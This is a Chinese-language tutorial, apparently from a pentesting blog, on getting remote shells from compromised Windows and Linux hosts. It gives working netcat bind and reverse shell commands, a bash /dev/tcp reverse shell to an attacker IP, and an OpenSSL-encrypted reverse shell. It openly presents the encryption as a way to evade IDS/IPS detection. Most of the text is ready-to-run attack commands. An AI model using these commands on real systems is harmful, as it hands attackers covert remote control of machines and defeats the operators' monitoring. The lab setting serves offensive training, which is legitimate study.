目录
1、常规反弹
(1)Windows正向连接shell
(2)Windows反向连接shell
(3)Linux正向连接shell
(2)利用Linux自带bash反弹Shell
2、加密反弹
1、常规反弹
假设在内网环境中发现主机,通过漏洞获取到该主机控制权限,想要进一步对内网环境进行后续利用,这里可以通过反弹shell的方式去进行穿透,下面我将会以nc工具为来演示一下在windows操作系统和Linux操作系统中的反弹操作
(1)Windows正向连接shell
假设我们已经获取到目标服务器的系统权限,然后成功的上传了nc工具,现在使用正向连接反弹shell的方法将目标服务器的shell反弹到本地主机。
首先在目标服务器执行nc.exe -lvp 8888 -e cmd.exe命令监听8888端口,使用-e参数将cmd.exe程序反弹连接到此端口的服务:
目标服务器执行监听后,在本地主机执行nc.exe 192.168.159.102 8888命令去连接目标服务器nc开启监听的端口,连接成功即可获取到目标服务器的shell权限:
(2)Windows反向连接shell
在目标服务器允许出网的情况下,在本地主机上获取到目标服务器的shell权限,可以尝试使用反向连接的方法。
首先在本地主机中使用nc工具开启监听,执行nc.exe -lvp 8888命令
当本地主机开启监听后,在目标服务器执行nc.exe 192.168.159.1 8888 -e cmd"命令主动连接本地主机的8888端口将cmd命令反弹到目标服务器:
此时当目标服务器访问我们的本地8888端口时,即可执行获取到目标服务器的Shell权限,使用Ipconfig命令查看获取到的反弹shell的ip地址,可查看到是目标服务器:
(3)Linux正向连接shell
假设在linux操作系统中想要获取反弹shell,其中反弹方式和上述演示的Windows操作系统不同,以两台linux服务器为例进行实验,使用正向连接shell的方式
首先在目标服务器执行nc -lvp 8888 -e /bin/bash 命令来开启目标服务器的监听,当有应用程序访问到目标服务器的8888端口的程序时会将bash带出。
开启目标服务器监听后,在攻击机中执行nc 192.168.159.200 8888命令来连接目标服务器,此时会获得到目标服务器反弹出来的shell
(2)利用Linux自带bash反弹Shell
首先在攻击机中使用nc执行nc -lvp 8888命令开启监听:
在目标服务器中执行bash -c "bash -i >& /dev/tcp/192.168.159.151/8888 0>&1命令来将shell反弹到攻击机上,其中192.168.159.151是攻击机的IP地址,8888是所监听的端口
3)此时在攻击机中,可以看到已经成功接收到目标服务器反弹的shell:
2、加密反弹
在实战攻防对抗中,如果使用上面那样的常规反弹shell会有一个缺点,那就是所有通过shell传输的流量都是以明文的方式发送的,可以被安全防护设备(如IDS、IPS等)获取到通信传输的数据内容,会导致被触发告警拦截,因此攻击者通常会使用一种加密的反弹shell方式,对传输的数据内容进行混淆加密,下面我们使用OpenSSL来进行加密反弹shell
首先在使用OpenSSL反弹shell之前,需要对攻击机进行配置,手动执行openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes命令生成自签名证书,其OpenSSL使用参数如表1-1所示,在生成自签名证书过程中,会提示输入证书信息,在证书信息方面可以直接按回车键不进行设置,最后会生成cert.pem和key.pem这两个文件。
表 1-1 常见使用参数
参数 | 作用 |
---|---|
-new | 表示生成一个新的证书签署要求 |
-x509 | 专用于生成CA自签证书 |
-key | 指定生成证书用到的私钥文件 |
-out FILNAME | 指定生成的证书的保存路径 |
-days | 指定证书的有效期限,单位为day,默认是365天 |
-notes | 生成的私钥文件不会被加密 |
攻击机生成自签名证书后,执行openssl s_server -quiet -key key.pem -cert cert.pem -port 8888命令,使OpenSSL监听本地攻击机的8888端口,来启动一个SSL/TLS server服务。
攻击机开启监听后,在目标服务器进行反弹 shell 操作,执行mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.159.151:8888 > /tmp/s; rm /tmp/s命令,即可将目标服务器的shell反弹到攻击机上:
执行成功后,对接收到的反弹shell使用ifconfig命令测试,可以查看到输出的IP地址为目标服务器的IP。此时我们已经通过加密反弹的方式获取到了目标服务器的shell权限。
到此,常规反弹和加密反弹shell的实验就演示完毕了